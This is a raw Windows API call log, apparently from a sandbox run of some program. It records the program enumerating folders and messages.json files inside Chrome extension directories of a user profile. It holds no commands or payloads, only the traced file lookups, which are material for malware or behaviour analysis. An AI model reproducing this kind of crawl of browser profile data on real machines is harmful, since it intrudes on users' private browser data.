	[0066.384] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.384] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866b6490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866b6490, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.384] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.384] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fd7c8 | out: lpFileInformation=0x123fd7c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866b6c60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd)) returned 1
	[0066.385] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl"), fInfoLevelId=0x0, lpFileInformation=0x123fd818 | out: lpFileInformation=0x123fd818*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866b6490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866b6490, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.385] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.385] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866b6490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866b6490, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.385] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.385] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fd8b8 | out: lpFileInformation=0x123fd8b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866b6c60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xda)) returned 1
	[0066.385] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr"), fInfoLevelId=0x0, lpFileInformation=0x123fd908 | out: lpFileInformation=0x123fd908*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.385] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.386] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.386] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.386] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fd9a8 | out: lpFileInformation=0x123fd9a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866db650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf8)) returned 1
	[0066.387] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv"), fInfoLevelId=0x0, lpFileInformation=0x123fd9f8 | out: lpFileInformation=0x123fd9f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.390] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.390] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.390] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.390] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fda98 | out: lpFileInformation=0x123fda98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866db650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd6)) returned 1
	[0066.390] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th"), fInfoLevelId=0x0, lpFileInformation=0x123fdae8 | out: lpFileInformation=0x123fdae8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.390] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.391] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.391] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.391] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fdb88 | out: lpFileInformation=0x123fdb88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866db650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe)) returned 1
	[0066.392] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr"), fInfoLevelId=0x0, lpFileInformation=0x123fdbd8 | out: lpFileInformation=0x123fdbd8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.392] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.392] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.392] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.392] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fdc78 | out: lpFileInformation=0x123fdc78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866db650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe3)) returned 1
	[0066.392] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk"), fInfoLevelId=0x0, lpFileInformation=0x123fdcc8 | out: lpFileInformation=0x123fdcc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.392] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.392] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.393] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.396] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.396] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.397] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.397] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.398] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.398] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.399] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.399] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\*", lpFindFileData=0x124155f8 | out: lpFindFileData=0x124155f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x867288b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8687f510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8687f510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.400] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.401] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*", lpFindFileData=0x124156c0 | out: lpFindFileData=0x124156c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x819d0bd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
